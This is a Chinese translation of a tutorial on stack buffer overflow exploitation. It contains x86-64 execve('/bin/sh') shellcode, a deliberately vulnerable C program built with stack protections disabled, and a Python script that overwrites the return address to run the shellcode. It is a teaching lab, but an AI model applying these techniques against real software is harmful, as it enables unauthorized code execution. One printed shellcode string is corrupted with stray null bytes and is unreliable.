这个文章是内存马的原理
文章译自https://medium.com/@jain.sm/shell-code-exploit-with-buffer-overflow-8d78cc11f89b
继续上一篇文章《栈上函数的生命周期》,这里解释一下如何利用堆栈上的缓冲区溢出的漏洞
这是一种利用漏洞来破坏内存并转移程序的正常执行流程。这基本上是通过控制EIP
来实现的。
我们先从缓冲区溢出非常基本的理解开始。缓冲区溢出是程序编写者忘记对缓冲区大小进行有界检查的情况,这使得攻击者能够放入超过缓冲区所能容纳的数据。然后,这些数据会溢出到相邻的内存区。作为上一篇文章中解释的堆栈布局的一个示例,如果存在漏洞,则可以使缓冲区溢出写入到保存返回地址的内存单元。
看下面的例子:
void copyData (char* data)
{
char buff[10];
strcpy(buff,data);
}
int main (int argc, char *argv[])
{
copyData(argv[1]);
return 0;
}
函数copyData
的参数是一个字符串,并调用strcpy
把参数拷贝到一个缓冲区。
像上一篇文章讨论那样,对copyData
的调用会进行如下操作:
ebp
的值压入栈中(这时ebp
的值指向main
函数这一桢)现在,如果我们尝试以覆盖栈上的返回地址方式进而改变EIP
的方式溢出缓冲区,我们会得到一个coredump
文件,里面会包含栈崩溃的消息。
当EIP
被垃圾字符填充,产生coredump
时,就会发生这种情况。堆栈如下所示
对于这个例子,我们会关闭ASLR
(地址空间布局随机化),使用gcc
的-fno-stack-protector
编译选项和-zexecstack
标志。这样做是为了展示利用漏洞。否则,堆栈、堆和数据段将成为不可执行的,因此不能从那里运行任何代码。此外,在启用ASLR
的情况下,确定shellcode
将在运行时加载的地址变得更加困难。
译者注:
二进制防护的手段主要是这样
栈的安全cookie,主要是通过 -fstack-protector
SEH
(结构化异常处理),windows
机制,在栈上维护一个单链表,一旦检测到栈损坏,请调用相应的处理函数DEP
(防止数据段执行),有从硬件角度和软件角度实现,但系统也会提供接口来修改段属性。VEH
(向量异常处理),windows
机制,一般用在堆上,防止堆损坏,而且处理优于SEH
。Linux
一直没有相应机制,导致堆块损坏的崩溃问题非常难定位ASLR
(地址空间布局随机化),同一程序每次启动一个进程,加载库的基地址都不一样,从而比较难预测。上面四种机制针对缓冲区溢出时shellcode
在堆和栈上执行的问题,但无法防护ROP
(面向返回地址编程)攻击手段,ASLR
是针对ROP
攻击的。
为了解释简单的shellcode
,我们将用汇编语言编写一小段代码。
我们以执行系统调用编号59的汇编代码为例。系统调用号59是sys_execve调用,并接受执行程序(在下面的示例中为/bin/sh
)作为输入参数。
global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
编译这段汇编来产生一个执行文件。
nasm -felf64 shell.asm -o shell.o
ld shell.o -o shell
从这里,我可以通过objdump
工具来产生shellcode
,这样做是为了删除可能被解释为空终止符的错误字符,如\x00。
objdump -M Intel -d ./shell |grep ‘[0–9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1–7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘’ -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
shellcode
产生如下
“\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x48\x83\xc0\x3b\x0f\x05”
这段shellcode
会作为字符串被接下来的程序来加载。
我们现在写一段简单的C
程序用来加载和执行shellcode
。在这个例子下,函数shell_pwn
加载和执行shellcode
.这里我们展示如何通过指定输入来溢出函数copytobuffer
函数的缓冲区。这个输入精心构造可以改变返回地址,使得它指向shell_pwn
函数。
flow.c
:
#include <string.h>
#include <stdlib.h>
void shell_pwn()
{
const char code[] =
“\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05”;
//const char shellcode[] = “\x90”;
////printf(“Shellcode Length: %d\n”, (int)strlen(code));
////((void(*)(void))code)();
int (*ret)() = (int(*)())code;
ret();
exit(0);
}
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
下面截图,我们会用gdb
来确定shell_pwn
函数的地址
我们可以看到shell_pwn
函数的地址是0x400566
。我们使用一个python
程序产生输入来溢出缓冲区,并且让栈上的返回地址指向shell_pwn
函数
#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q",0x0000000000400566)
f = open("input2.txt", "w")
f.write(buffer)
一旦完成,我们就可以看到,使用上面的输入执行了二进制流,就能够通过覆盖堆栈上的返回地址在程序内部执行shell。
在接下来的文章中,我们将看到更多的缓冲区溢出攻击,比如创建绑定外壳或反向外壳。我们还将查看是否可以使用Metasploit
模块生成shellcode
。
暗号:51651